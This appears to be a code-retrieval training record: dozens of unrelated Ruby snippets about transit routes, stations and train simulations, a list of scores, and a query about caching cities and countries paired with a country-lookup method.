"def move_train_forward_by_route\n if @routes.empty? || @trains.empty?\n routes_or_trains_void\n else\n request = [\"Enter train number [#{@trains.keys.join(', ')}]: \"]\n train = getting(request, :approve_train_for_assign, :select_train)\n train_moved_forward_by_route if train.move_train_forward\n end\n end",
"def next_train(station, destinations, opts = {})\n ldbws.next_departures_with_details(station, destinations, opts)\n end",
"def next_station\n return @current_station if @current_station == @route.last\n\n @route.stations[@route.stations.index(@current_station) + 1]\n end",
"def tfl_journey_planner\n Tube.display_lines\n get_start_line\n Station.list_all_stations(@start_line)\n get_start_station\n Tube.display_lines\n get_end_line\n get_end_station\n print_stations_en_route\n end",
"def print_stations_en_route\n\n start_station_sym = @start_station.gsub(\" \", \"_\").to_sym\n\n end_station_sym = @end_station.gsub(\" \", \"_\").to_sym\n\n start_line_sym = @start_line.to_sym\n\n end_line_sym = @end_line.to_sym\n \n if start_line_sym == :victoria\n start_line_sym_index = 0\n elsif start_line_sym == :bakerloo\n start_line_sym_index = 0\n elsif start_line_sym == :central\n start_line_sym_index = 0\n end\n\n stations_on_start_line = Tube.new.lines.values_at(start_line_sym)\n stations_on_end_line = Tube.new.lines.values_at(end_line_sym)\n \n stations_start = stations_on_start_line[start_line_sym_index]\n\n start_index = stations_start.find_index(start_station_sym) \n\n if start_line_sym != end_line_sym\n\n intersection = (stations_on_start_line[0] & stations_on_end_line[0])[0] \n\n start_int_index = stations_on_start_line[0].index(intersection)\n stops_between = (start_index.to_i - start_int_index.to_i).abs \n\n end_index = stations_on_end_line[0].find_index(end_station_sym)\n\n end_int_index = stations_on_end_line[0].index(intersection)\n between = (end_index.to_i - end_int_index.to_i).abs\n\n stations_on_first = stations_on_start_line[0][start_index, (start_int_index - 1)]\n stations_on_second = stations_on_end_line[0][end_int_index, (end_index + 1)]\n\n number_of_stops = (end_index - start_index).abs\n\n puts \"\\nThere are #{number_of_stops} stations till your final destination\"\n\n stations_en_route = stations_on_first + stations_on_second\n \n print_stations_en_route = stations_en_route.join(\", \").gsub(\"_\", \" \").split.map(&:capitalize).join(\" \")\n\n puts \"\\nThe stations en route are #{print_stations_en_route}\"\n\n else\n\n end_index = stations_start.find_index(end_station_sym)\n\n number_of_stops = ((end_index.to_i - start_index.to_i).abs + 1)\n\n puts \"\\nThere are #{number_of_stops} stations till your final destination\"\n #Use indexes to print stations between and including\n #\n stations_en_route = stations_start.slice(start_index..end_index)\n #Generate list and make print print ready\n #\n print_stations_en_route = stations_en_route.join(\", \").gsub(\"_\", \" \").split.map(&:capitalize).join(\" \")\n\n puts \"\\nThe stations en route are #{print_stations_en_route}\"\n\n end\n end",
"def list_trains_on_station\n if @trains.empty? || @stations.empty?\n trains_or_stations_void\n else\n request = request_station\n station = getting(request, :approve_station_selection, :select_station)\n check_the_trains(station)\n end\n end",
"def list_all_trains\n Train.all.sort{|a,b| a.destination <=> b.destination}.each.with_index(1) do |element, index|\n puts\"\\n\"\n puts \"#{index}: Destination: #{element.destination}\"\n puts \" Base time: #{element.event_time}\"\n puts \" Line: #{element.line}\"\n puts \" Direction: #{element.dir}\"\n puts \" Incoming Stations:\"\n element.station.each{|hash| puts \"Station: #{hash['station']}\\nWait Time: #{hash['waiting_time']}\\n-----------------------------------\\n\"}\n end\n puts \"\\nType 1 to restart and anything else to end:\\n\"\n get_end = gets.strip\n if get_end == '1'\n restart\n end\nend",
"def single_line_trip( line, start_station, end_station )\n stations = @stations[ line ]\n if stations.index( start_station ) > stations.index( end_station )\n stations.reverse!\n end\n stations[stations.index( start_station )..stations.index( end_station )]\nend",
"def initialize#(entry_station) \n @entry_station #= entry_station\n @exit_station \n @journey = [] \n end",
"def plan_trip (mta, start_station, end_station)\n\n # Check if the user is already at the destination\n if(start_station == end_station)\n puts \"You are already at your destination\\n\\n\"\n else\n # Find the station indexes\n stations = find_stations mta, start_station, end_station\n\n # Build the trip\n trip = [start_station]\n trip.push *build_trip(mta, stations)\n\n #Display the trip\n display_trip trip, stations[0]\n end\n\nend",
"def next_station\n if @index + 1 != @stations.size\n @stations[@index + 1]\n else\n 'Это последняя станция'\n end\n end",
"def link_to_station\n if @trains.empty? || @stations.empty?\n staions_or_trains_void\n else\n request = [\"Enter train number [#{@trains.keys.join(', ')}]: \"]\n train = getting(request, :approve_train_selection, :select_train)\n request = request_station\n station = getting(request, :approve_station_selection, :select_station)\n train_placed if station.arrive(train)\n end\n end",
"def move_from_union line_two, station_two\n if line_two == $line_n\n move_line_n $union_n, station_two\n end\n\n if line_two == $line_6\n move_line_6 $union_6, station_two\n end\n\n if line_two == $line_l\n move_line_l $union_l, station_two\n end\n # binding.pry\nend",
"def get_upstream_stations(origin_station)\n\t\t\n\t\tstarting_station = Bartstation.where(\"short_name = '#{origin_station}'\").pluck(\"id\")[0]\n\t\t\n\t\t# Find all the instances of the starting station\n\t\t# The station may appear on multiple routes\n\t\t\n\t\tstation_routes = {}\n\t\t\n\t\tBartroutestation.where(\"bartstation_id = #{starting_station}\").each do |routestation|\n\t\t\t\tstation_routes[routestation.bartroute_id] = routestation.route_station_sequence\n\t\tend\n\n\t\t# For each route that has the starting station:\n\t\t# Find the starting station \n\t\t# Find the next 5 stations in the reverse direction\n\t\t# (The stations are sequenced in the database to increment from the east \n\t\t# bay direction)\n\n\t\tupstream_stations = {}\n\t\tstation_routes.each do |station_route,station_sequence|\n\t\t\tbartroute_id = station_route\n\t\t\tbartstation_sequence = station_sequence\t\t\t\n\t\t\tupstream_stations[bartroute_id] = \n\t\t\t\tBartroutestation.where(\"bartroute_id = #{bartroute_id} AND \n\t\t\t\t\troute_station_sequence >= #{bartstation_sequence}\").order('route_station_sequence').take(6)\n\t\tend\n\n\t\t# Return the list of upstream stations for each route from the origin station\n\n\t\treturn upstream_stations\n\n\tend",
"def start(station)\n self.single_journey = Journey.new\n single_journey.add_start(station)\n log_journey\n end",
"def start_journey(station)\n raise 'Already in journey' if in_journey?\n @journey = @journey_class.new(station)\n self\n end",
"def prev_station\n @route.stations[@current_station - 1] if current_station != @route.stations.first\n end",
"def next_station_index\n current_station_index + 1\n end",
"def finish_journey(station)\n @journey.exit_station = station\n @journeys << @journey\n fare = @billing.calculate_fare(@journey)\n @journey = nil\n fare\n end",
"def update_stations\n\n State.all.each do |s|\n fetch_stations(s)\n end\n\n end",
"def initialize (start_num, train_direction, line, speed = 1)\r\n @start_num = start_num #station start number integer\r\n @start_point = line.stations[@start_num].station_name #start station name string\r\n @train_direction = train_direction #direction string\r\n @station_arr = line.stations_names #list of line names array of string\r\n @distances = line.distances #list of distances of line array of integer\r\n @station_index = @start_num #current station index integer\r\n @line_name = line.line_name #line name string\r\n @timetable = {} #timetable for this train hash of array of interger\r\n @speed = speed\r\n \r\n @@all_trains.push(self) #array of train objects array of obj\r\n\r\n #if first station - change direction\r\n if(@station_index == 0)\r\n case line.direction #check line direction\r\n when 'NS'\r\n @train_direction = 'S'\r\n when 'EW'\r\n @train_direction = 'E'\r\n end\r\n end\r\n \r\n #if last station - change direction\r\n if(@station_index == (@station_arr.length - 1))\r\n case line.direction #check line direction\r\n when 'NS'\r\n @train_direction = 'N'\r\n when 'EW'\r\n @train_direction = 'W'\r\n end\r\n end\r\n \r\n # print \"Train created - #{@start_point} - #{@train_direction}\\n\"\r\n end",
"def move_train_backward_by_route\n if @routes.empty? || @trains.empty?\n routes_or_trains_void\n else\n request = [\"Enter the train number [#{@trains.keys.join(', ')}]: \"]\n train = getting(request, :approve_train_for_assign, :select_train)\n train_moved_backward if train.move_train_backward\n end\n end",
"def journey_start\n @entry_station\n end",
"def add_station(station)\n @stations.insert(-2, station)\n end",
"def add_station(station)\n @stations.insert(-2, station)\n end",
"def trains\n @trains ||= init_trains\n end",
"def get_available_station_graph\n station_list = []\n line_station_list = []\n station_index = 0\n line_station_index = 0\n single_line_station_index = 0\n junction_line_station_index = 0\n # Getting the adjacent staions of each available stations\n @stations.each do |line_stations|\n line_station_index = 0\n line_stations.each do |_line_station|\n adjacent_station = {}\n line_station_list = []\n if line_station_index.zero?\n adjacent_station.store(@stations[station_index][line_station_index + 1][0], @timeline[station_index][2])\n else\n adjacent_station[@stations[station_index][line_station_index - 1][0]] = @timeline[station_index][2] # assigning the time values for waiting\n if line_station_index < (@stations[station_index].length - 1)\n adjacent_station.store(@stations[station_index][line_station_index + 1][0], @timeline[station_index][2])\n end\n end\n single_line_station_index = 0\n # Getting the adjacent interchange staions of each available stations\n @stations.each do |junction_line_stations|\n unless single_line_station_index == station_index\n junction_line_station_index = 0\n junction_line_stations.each do |_single_line_station|\n if @stations[station_index][line_station_index][1] == @stations[single_line_station_index][junction_line_station_index][1]\n adjacent_station.store(@stations[single_line_station_index][junction_line_station_index][0], @timeline[single_line_station_index][3]) # assigning the time values for interchange\n end\n junction_line_station_index += 1\n end\n end\n single_line_station_index += 1\n end\n line_station_list.push([@stations[station_index][line_station_index][0], adjacent_station])\n station_list.push(line_station_list)\n line_station_index += 1\n end\n station_index += 1\n end\n station_list # The station list for the graph. formatted as [[[\"NS1\", {\"NS2\"=>12, \"EW24\"=>15}]]]\n end",
"def build_trip(mta, stations)\n if ( stations[0] == stations[3] )\n # Build the trip\n trip = build_leg(mta[stations[0]], stations[1], stations[5])\n else\n # Build the trip with the change at Union Square\n trip = build_leg(mta[stations[0]], stations[1], stations[2])\n trip[-1] = Rainbow(\"Union Square\").cyan + \": change to the \" + Rainbow(\"#{stations[3]}\").cyan\n trip.push *build_leg(mta[stations[3]], stations[4], stations[5])\n end\n\n return trip\nend",
"def backward\n if self.route_check_true\n if @current_station != @route.stations.first\n @route.stations[@route.stations.index(@current_station)].departure(self)\n @current_station = previous_station\n @route.stations[@route.stations.index(@current_station)].coming(self)\n end\n end\n end",
"def current_journey\n if !(@entry_station == nil)\n @journey_history << {@entry_station => @exit_station}\n # @entry_station = nil\n end\n if !(@exit_station == nil)\n @journey_history << {@entry_station => @exit_station}\n # @entry_station = nil\n end\n end",
"def step(kind, name)\r\n progress = false\r\n if kind == :train\r\n curr_station = locate_train(name)\r\n\r\n index = station_index(curr_station, name)\r\n #check if need to update rev\r\n if curr_station.station == lines[name].last\r\n curr_station.train.set_rev(true)\r\n end\r\n if curr_station.station == lines[name].first\r\n curr_station.train.set_rev(false)\r\n end\r\n \r\n if curr_station.train.rev? == false\r\n next_station = lines[name][index+1]\r\n else\r\n next_station = lines[name][index-1]\r\n end\r\n\r\n stations.each {|station|\r\n if (station.to_s == next_station) && station.train.nil?\r\n station.set_train(curr_station.train)\r\n curr_station.remove_train\r\n progress = true\r\n Log.train_moves(name, curr_station.station, next_station)\r\n break\r\n end\r\n }\r\n\r\n if progress == false \r\n conflincting_train = (stations.select {|e| e.station == next_station}).first.train.to_s\r\n puts \"Train \" + curr_station.train.get_train + \" cannot advance, \" + conflincting_train + \" train at \" + next_station \r\n end \r\n elsif kind == :passenger\r\n person = nil\r\n # Find passenger object\r\n passengers.each {|x|\r\n if x.passenger == name\r\n person = x\r\n end\r\n }\r\n\r\n stations.each {|x|\r\n if x.passengers.include? person\r\n if !(x.train.nil?)\r\n if x.train.get_train == person.plan[x.station]\r\n x.train.add_passenger(person)\r\n x.remove_passenger(person)\r\n person.delete_pair(x.station)\r\n progress = true\r\n Log.passenger_boards(person.passenger,x.train.get_train,x.station) \r\n end\r\n end\r\n elsif !(x.train.nil?) \r\n if (x.train.passengers.include? person) && (person.plan.has_key?(x.station))\r\n x.add_passenger(person)\r\n x.train.remove_passenger(person)\r\n if (person.plan)[x.station].nil?\r\n person.delete_pair(x.station)\r\n end\r\n progress = true\r\n Log.passenger_exits(person.passenger, x.train.get_train, x.station)\r\n end\r\n end\r\n }\r\n else\r\n puts \"Error, kind type not recognized.\"\r\n end\r\n\r\n return progress\r\n end",
"def move\n return if next_stop.nil?\n return @destinations.shift if at_destination?\n\n if next_stop > @current_floor\n @current_floor += 1\n else\n @current_floor -= 1\n end\n\n @current_floor\n end",
"def arrivals(refresh = false)\n if tvs\n trains(:arrival, refresh)\n end\n end",
"def current_trains\n data = parse_json\n current_trains = []\n data['Trips'].each do |train|\n if !train['Position'].nil?\n train_number = train['Position']['Train']\n position = {lat: train['Position']['Lat'], long: train['Position']['Long']}\n end\n destination = train['Destination']\n stops = []\n train['Predictions'].each do |stop|\n stops << {stop: stop['Stop'], seconds: stop['Seconds']} # stop needs better name, maybe stop_name or name\n end\n current_trains << MbtaWrapper::Subway.new(train_number, destination, stops, position)\n end\n current_trains\n end",
"def plan_trip (first_l, first_s, last_l, last_s)\n# Get the program to work for a single line:\n# Different way to do global use $\n stations = [ ]\n start = $train_lines[first_l.to_s].index(first_s.to_s)\n finish = $train_lines[last_l.to_s].index(last_s.to_s)\n\n# 2.7.2 :012 > $train_lines.values\n# => [[\"Times Square\", \"34th\", \"28th\", \"23rd\", \"Union Square\", \"8th\"], [\"8th\", \"6th\", \"Union Square\", \"3rd\", \"1st\"], [\"Grand Central\", \"33rd\", \"28th\", \"23rd\", \"Union Square\", \"Astor Place\"]]\n# 2.7.2 :013 > $train_lines.keys\n# => [\"lineN\", \"lineL\", \"line6\"]\n\n if start < finish\n stations = $lineN[start..finish]\n elsif\n stations = $lineN[finish..start].reverse\n end\n\n return stations\n\nend",
"def add(station, previous_station = route[0])\n previous_station != @stations.last ? @stations.insert(@stations.index(previous_station) + 1, station) : @stations.insert(-1, station)\n end",
"def plan_trip (first_s, last_s)\n stations = []\n beginning = $lineN.index(first_s.to_s)\n ending = $lineN.index(last_s.to_s)\n this_many = beginning + ending\n stations = $lineN[beginning, this_many]\n return stations\nend",
"def start(entry_station, zone)\n @journey_class = Journey.new(entry_station, zone)\n end",
"def stations\n stations = []\n CSV.foreach(LOCAL_DATA, :col_sep =>':') do |row|\n callsign, origin, destination, client = row[0].to_s, row[11].to_s, row[13].to_s, row[3].to_s\n for cs in @callsign\n stations << row if callsign[0...cs.length] == cs # && client == \"ATC\") unless @role == \"pilot\"\n # stations << row if (origin[0...icao.length] == icao || destination[0...icao.length] == icao) unless @role == \"atc\"\n end\n end\n stations\n end",
"def add_path(station_id1, station_id2, minutes)\n\t\taction = [\"MOVE\", station_id1, station_id2, minutes]\n\t\t@path.push(action)\n\tend",
"def move_sun\r\n\tif @sun_location < @width\r\n\t @sun_location += 1 \r\n\telse\r\n\t @sun_location = 1 \r\n\tend\r\n\t\r\n ss = sun_locations @sun_location\t\r\n\t\r\n\tincrease_temperature(@sun_location,ss)\r\n\tdecrease_temperature(@sun_location,ss)\r\n\r\n\tif @log == true\r\n\t @logger.write \"moved sun\"\r\n\tend\r\n end",
"def remove_station_from_route(route)\n available_stations = route.stations.select do |item|\n item != route.stations.first && item != route.stations.last\n end\n\n unless available_stations.empty?\n return remove_station_from_route_core(available_stations, route)\n end\n\n show_info_for_action('removing Station from Route')\n show_info_you_need_at_least('1 Station in Route', 0)\n\n add_station_to_route_advanced(route)\n manage_stations_in_route\n end",
"def route=(route)\n @current_station&.send_train(self)\n\n @route = route\n @current_station = route.first\n @current_station.add_train(self)\n end",
"def move\n case @toy_direction\n when \"NORTH\"\n new_place = [@toy_place[0], @toy_place[1] + 1]\n when \"EAST\"\n new_place = [@toy_place[0] + 1, @toy_place[1]]\n when \"SOUTH\"\n new_place = [@toy_place[0], @toy_place[1] - 1]\n when \"WEST\"\n new_place = [@toy_place[0] - 1, @toy_place[1]]\n end\n place_robot(new_place, @toy_direction)\n end",
"def calculate_distance(line_stops, origin_station, destination_station)\n orig_stop = line_stops.index(origin_station)\n dest_stop = line_stops.index(destination_station)\n dist = (orig_stop - dest_stop).abs\nend",
"def singleTrip (start_station, end_station, line)\n start_index = MTA[line].index(start_station)\n end_index = MTA[line].index(end_station)\n\n if start_index < end_index\n stops = MTA[line][start_index ... end_index]\n num_stops = end_index - start_index\n end\n\n if end_index < start_index\n stops = MTA[line][end_index ... start_index]\n stops = stops.reverse\n num_stops = start_index - end_index\n\n end\n print = \"You must travel through the following stops on the #{line}: #{stops}\"\n # print = \"#{num_stops} in total\"\nend",
"def get_stations(array)\n origin = array[0].scan(/\\b[a-z][\\w\\s\\/]+/i)[0].split.map(&:capitalize)*' '\n destination = array[1].scan(/\\b[a-z][\\w\\s\\/]+/i)[0].split.map(&:capitalize)*' '\n origin.sub!(/[\\/]+[A-Za-z]+/){ $&.upcase }\n destination.sub!(/([\\/])\\w+/){ $&.upcase }\n origin.sub!(/(?: *town)/i, \"town\")\n destination.sub!(/(?: *town)/i, \"town\")\n\n # TODO: search our @@routes hash for the origin and destination, kick out if either invalid\n set_routes(origin, destination)\n end",
"def plan_trip(stop1, line1, stop2, line2)\n\n trains = {\n \"N\" => [\"Times Square\", \"34th\", \"28th\", \"23rd\", \"Union Square\", \"8th\"],\n \"L\" => [\"8th\", \"6th\", \"Union Square\", \"3rd\", \"1st\"],\n \"6\" => [\"Grand Central\", \"33rd\", \"28th\", \"23rd\", \"Union Square\", \"Astor Place\"]\n }\n\n transfer = \"Union Square\" #DEFAULT TRANSFER STATION\n if line1 != line2 && stop1 == \"Union Square\" #PREVENTS BOARDING THE WRONG TRAIN AT UNION SQUARE\n puts \"Just board the correct train.\"\n line1 = line2\n end\n if line1 == line2 #there may be a clearer way to do this, but this allows a single train line output\n transfer = stop2\n end\n\n route1 = trains[line1] #this is just for readability\n route2 = trains[line2]\n\n if route1.index(stop1) < route1.index(transfer) #this always fires, and is either the only or first segment\n first_path = route1[(route1.index(stop1) + 1)..(route1.index(transfer))]\n puts \"You must travel through the following stops on the #{line1} line: #{first_path.join(\", \")}.\"\n else\n uptown = route1.reverse()\n first_path = uptown[(uptown.index(stop1) + 1)..(uptown.index(transfer))]\n puts \"You must travel through the following stops on the #{line1} line: #{first_path.join(\", \")}.\"\n end\n if line2 == line1\n puts \"A total of #{first_path.length} stops.\"\n end\n\n if line1 != line2 #this only fires if there's a second line\n puts \"Transfer at Union Square.\"\n if route2.index(\"Union Square\") < route2.index(stop2)\n second_path = route2[(route2.index(\"Union Square\") + 1)..(route2.index(stop2))]\n puts \"You must continue through the following stops on the #{line2} line: #{second_path.join(\", \")}.\"\n else\n uptown = route2.reverse()\n second_path = uptown[(uptown.index(\"Union Square\") + 1)..(uptown.index(stop2))]\n puts \"You must continue through the following stops on the #{line2} line: #{second_path.join(\", \")}.\"\n end\n puts \"A total of #{first_path.length + second_path.length} stops.\"\n end\n\nend",
"def transitions_from(station)\n stations.select do |destination| \n has_edge?(station.to_sym, destination)\n end\n end",
"def find_stations(mta, start_station, end_station)\n\n # Find the lines the stations are on\n lines = find_lines mta, start_station, end_station\n\n # Find the indexes on the found lines\n origin_index = mta[lines[0]].index(start_station)\n origin_union_index = mta[lines[0]].index(\"Union Square\")\n dest_union_index = mta[lines[1]].index(\"Union Square\")\n dest_index = mta[lines[1]].index(end_station)\n\n # Return an array of the results\n stations = [lines[0], origin_index, origin_union_index, lines[1], dest_union_index, dest_index]\nend",
"def Move(player, start, stop)\r\n end",
"def train_travel(first_stop, last_stop, line)\n line_stop = @railwayslines[line]\n\n stop_a = line_stop.index(first_stop)\n stop_b = line_stop.index(last_stop)\n if stop_a < stop_b\n travelled = line_stop[stop_a..stop_b]\n else\n travelled = line_stop[stop_b..stop_a]\n travelled = travelled.reverse\n # return travelled\n end\n travelled\nend",
"def stations_in_between2 (end_lane)\n if ($end_connection>$end)\n puts \"then the stations to follow are:\"\n puts $mta[end_lane][$end+1...$end_connection]\n else\n puts \"then the stations to follow are:\"\n puts $mta[end_lane][$end_connection+1...$end].reverse\n end #end of the if\n end",
"def update_stepping\n FollowingMoveRoute([PBMoveRoute::StepAnimeOn])\n end",
"def transitions_to(station)\n stations.select do |origin| \n has_edge?(origin, station.to_sym)\n end\n end",
"def move to_move\r\n\t\tif to_move == 0\r\n\t\t\tvia_road = driver.location.west_road\r\n\t\t\tdriver.location = driver.location.west_location\r\n\t\t\treturn via_road\r\n\t\telsif to_move == 1\r\n\t\t\tvia_road = driver.location.north_road\r\n\t\t\tdriver.location = driver.location.north_location\r\n\t\t\treturn via_road\r\n\t\telsif to_move == 2\r\n\t\t\tvia_road = driver.location.east_road\r\n\t\t\tdriver.location = driver.location.east_location\r\n\t\t\treturn via_road\r\n\t\telsif to_move == 3\r\n\t\t\tvia_road = driver.location.south_road\r\n\t\t\tdriver.location = driver.location.south_location\r\n\t\t\treturn via_road\r\n\t\tend\r\n\t\t\r\n\tend",
"def next_station_available?\n current_station_index != @route.stations.length - 1\n end",
"def lmove(source, destination, where_source, where_destination); end",
"def lmove(source, destination, where_source, where_destination); end",
"def moves\n\n end",
"def move\n @tail = @location\n closest_food = detect_closest_food\n @location = calculate_next_location(closest_food)\n\n end",
"def initialize(station)\r\n @station = station\r\n @train = nil\r\n @passengers = Array.new\r\n end",
"def previous_station\n if @current_station == @route.stations.first\n @current_station\n else\n @current_station = @route.stations[@route.stations.index(@current_station) - 1]\n end\n end",
"def transfer_trains(buyer, minor)\n return if minor.trains.empty?\n\n minor.trains.each do |t|\n t.operated = false\n t.buyable = true\n end\n\n transferred = @game.transfer(:trains, minor, buyer)\n @log << \"#{buyer.name} receives the trains: #{transferred.map(&:name).join(', ')}\"\n end",
"def move_disk(from,to)\n @towers[to] << @towers[from][-1]\n @towers[from].pop\n nil\nend",
"def initialize (first_station, last_station)\n @stations = [first_station, last_station] #when creating a new object needs station names as parameters\n end",
"def remove_station(station)\n # remove station object if isn't last or first station\n if station != @stations.first && station != @stations.last\n @stations.delete(station)\n else\n puts \"You can't first or last station!\"\n end\n end",
"def transfer_stations(path)\r\n lines_path = Array.new\r\n condensed_path = Array.new\r\n\r\n path[0...-1].each_with_index {|x, index|\r\n lines_curr = Array.new\r\n lines_next = Array.new\r\n lines_curr = lines_at_station(x)\r\n lines_next = lines_at_station(path[index+1])\r\n lines_path.push((lines_curr & lines_next).first)\r\n }\r\n\r\n lines_path.each_with_index {|x, index|\r\n if (x != lines_path[index +1]) && (transfer.include? path[index +1])\r\n condensed_path.push(path[index+1])\r\n end\r\n }\r\n\r\n return condensed_path\r\n end",
"def touch_in(station)\n fail \"Less than £1\" if @balance < MINIMUM_BALANCE\n @entry_station = station\n @exit_station = nil\n end",
"def stations\n @stations ||= (exact_match? ? parse_station : parse_stations)\n end",
"def set_nearest_station\n @nearest_station = NearestStation.find(params[:id])\n end",
"def initialize_trains\r\n @trains = Array.new\r\n\r\n @lines.each {|line, stations|\r\n @trains.push(Train.new(line))\r\n }\r\n \r\n return @trains\r\n end",
"def station_init router = Router.new\n\n\tchannel = 0\n\tstep = 1\n\tstations = Array.new\n\tCSV.foreach(\"focus_out.csv\") do |row|\n\t\t\n\t\tif step == 1\n\t\t\tchannel = row[3]\n\t\telse\n\t\t\ts = Station.new\n\t\t\ts.stmac = row[0]\n\t\t\ts.bssid = row[5]\n\t\t\ts.channel = channel\n\t\t\trouter.stations << s\n\t\tend\n\t\t\n\t\tstep += 1\t\t\t\t\n\t\t\t\t\n\tend\n\t\n\tsystem(\"clear\")\n\t\n\treturn router\nend",
"def initialize\n @balance = 0\n @entry_station = nil\n @journey_list = []\n @journey = { entry: nil, exit: nil }\n end",
"def step_forward\n\t\tputs @time_travel_i\n\t\t\n\t\tif self.state_name == :forecasting\n\t\t\treturn if @forecasting_lock\n\t\t\t\n\t\t\tif @time_travel_i < @forecast_range.min-1\n\t\t\t\t# before the forecasted region, you can step forward\n\t\t\t\t@time_travel_i += 1\n\t\t\telsif @time_travel_i == @forecast_range.min-1\n\t\t\t\t# if you step forward into the forecasted region,\n\t\t\t\t# you commit to a \"good timeline\"\n\t\t\t\t@time_travel_i += 1\n\t\t\t\tself.end_forecasting()\n\t\t\t\tputs \"collapsing timelines. moving to: #{self.state}\"\n\t\t\telse\n\t\t\t\traise \"ERROR: unknown time-traveling inconsistency while forecasting\"\n\t\t\tend\n\t\t\t\n\t\telsif self.state_name == :forecasting_error\n\t\t\t# Past a certain timepoint, time has been corrupted.\n\t\t\t# This point will be earlier than the normal end of the timeline.\n\t\t\t# You are not allowed to step into this corrupted time rift.\n\t\t\t# \n\t\t\t# The only way to leave the :forecasting_error state\n\t\t\t# is by performing a successful forecast.\n\t\t\t\n\t\t\tif @time_travel_i < @forecast_range.min-1\n\t\t\t\t# the last state you can reach, is the one right before the time rift\n\t\t\t\t@time_travel_i += 1\n\t\t\t\t# (there is no good state in the rift to step into)\n\t\t\tend\n\t\telsif self.state.include? \"timeline\"\n\t\t\t# (must be in time traveling mode, excluding :forecasting)\n\t\t\t# (:forecasting is handled in a separate branch below)\n\t\t\tputs \"step forward\"\n\t\t\t\n\t\t\t# Use normal timeline boundary, for normal actions.\n\t\t\t\n\t\t\tif end_of_timeline?\n\t\t\t\t# TODO: try removing the pause state\n\t\t\t\t\n\t\t\t\t# if paused -> time travel : resume execution\n\t\t\t\t# if error -> time travel : return to :error state\n\t\t\t\t# if hit true ending -> time travel : return to true end\n\t\t\t\tself.end_time_travel()\n\t\t\t\tputs \"time traveling to stable timepoint: #{self.state}\"\n\t\t\telse\n\t\t\t\t\n\t\t\t\tif @time_travel_i < @history.length-1\n\t\t\t\t\t@time_travel_i += 1\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend"
] |
[
"0.7684426",
"0.73601276",
"0.72364026",
"0.7034206",
"0.68292123",
"0.68044275",
"0.66719425",
"0.6615868",
"0.6337989",
"0.63264865",
"0.62785697",
"0.61901706",
"0.618796",
"0.6143496",
"0.61225766",
"0.6122264",
"0.6106506",
"0.6101847",
"0.60941947",
"0.59907985",
"0.5965248",
"0.59624714",
"0.5952827",
"0.5951536",
"0.5931518",
"0.59230113",
"0.5897302",
"0.585921",
"0.58488595",
"0.58484215",
"0.58432436",
"0.5829127",
"0.5824624",
"0.58051413",
"0.58013254",
"0.5798851",
"0.5751798",
"0.5736918",
"0.57288736",
"0.5710852",
"0.56681526",
"0.56657606",
"0.5620742",
"0.56190455",
"0.5596277",
"0.5573735",
"0.55638015",
"0.5548923",
"0.5523589",
"0.5523589",
"0.5510223",
"0.55043644",
"0.54938996",
"0.54839027",
"0.5479382",
"0.5478741",
"0.5462159",
"0.5447413",
"0.54473346",
"0.5440658",
"0.5438077",
"0.54282844",
"0.54182744",
"0.54152715",
"0.5402787",
"0.5400031",
"0.5397634",
"0.53970295",
"0.5381205",
"0.5375012",
"0.53731817",
"0.53685045",
"0.5365096",
"0.5359945",
"0.534868",
"0.53454864",
"0.5342468",
"0.5313798",
"0.53084105",
"0.5307755",
"0.5279864",
"0.5274827",
"0.5274354",
"0.5274354",
"0.5273497",
"0.5271338",
"0.52684563",
"0.5267382",
"0.5265496",
"0.52646637",
"0.52642137",
"0.52632326",
"0.52615553",
"0.5255753",
"0.5237656",
"0.52332276",
"0.5228624",
"0.52039266",
"0.5199527",
"0.5189912"
] |
0.55911714
|
45
|
TODO: cache cities and countries in YAML file
|
def country
client.places.get_countries.select{|hash| hash["cid"] == @params[:country].to_i}.first[:title]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cities\n CS.get :us, :ca\n end",
"def load_geo_data\n countries_hash = JSON.parse(File.read(Rails.root.join('lib/countries_data/countries.json')))\n cities_hash = JSON.parse(File.read(Rails.root.join('lib/countries_data/cities.json')))\n countries_hash.each do |country_hash|\n cities_arr = cities_hash[country_hash['name']]\n\n next if cities_arr.nil?\n\n country_model = create_country country_hash\n create_cities(country_model, cities_arr)\n end\nend",
"def load_regions\n YAML.load_file(\"#{root_path}/config/countries.yml\")\n end",
"def initialize\n countries.each do |country|\n\t\t\tRails.cache.fetch(country[:code]) do\n\t\t\t\tJSON.parse(Net::HTTP.get(URI.parse(\"https://api.fitpass.mx/v3/cities.json?country=#{country[:code]}\")))\n\t\t\tend\n end\n\tend",
"def store_countries\n Countries::Data.get_data\n @regions = Countries::Country.create_region_list\n end",
"def city\n fetch('dune.cities')\n end",
"def country_map\n @country_map ||= load_countries\n end",
"def import_cities(options)\n import_places PlaceType::City, options\n end",
"def load_countries_and_zones\n \n IO.foreach(@input_dir + File::SEPARATOR + 'iso3166.tab') {|line| \n if line =~ /^([A-Z]{2})\\t(.*)$/\n code = $1\n name = $2\n @countries[code] = TZDataCountry.new(code, name)\n end\n }\n\n\n IO.foreach(@input_dir + File::SEPARATOR + 'zone.tab') {|line| \n line.chomp! \n\n if line =~ /^([A-Z]{2})\\t([^\\t]+)\\t([^\\t]+)(\\t(.*))?$/\n code = $1\n location_str = $2\n zone_name = $3\n description = $5\n\n country = @countries[code]\n raise \"Country not found: #{code}\" if country.nil?\n \n location = TZDataLocation.new(location_str)\n \n zone = @zones[zone_name] \n raise \"Zone not found: #{zone_name}\" if zone.nil? \n\n description = nil if description == ''\n \n country.add_zone(TZDataCountryTimezone.new(zone, description, location))\n\n lo_n = location.longitude.to_s.gsub(/\\/[0-9]*/, '')\n lo_d = location.longitude.to_s.gsub(/[0-9]*\\//, '')\n la_n = location.latitude.to_s.gsub(/\\/[0-9]*/, '')\n la_d = location.latitude.to_s.gsub(/[0-9]*\\//, '')\n\n @timezones << [code, zone_name, lo_n, lo_d, la_n, la_d, description]\n end\n }\n\n # Creates CountryInfo for each country with all the associated timezones\n @countries.each do |code,country|\n # Creates CountryInfo for each country\n info = CountryInfo.new(code, country.name)\n\n # Adds timezones to CountryInfo for each country\n @timezones.each do |t|\n if code == t[0]\n info.timezone t[1], t[2], t[3], t[4], t[5], t[6]\n end\n end\n\n Country.add(code,Country.new(info))\n end\n\n end",
"def stay_city\n # cities = Country.all.map{|country|country.cities}\n # cities.map{|city|city.name}\n end",
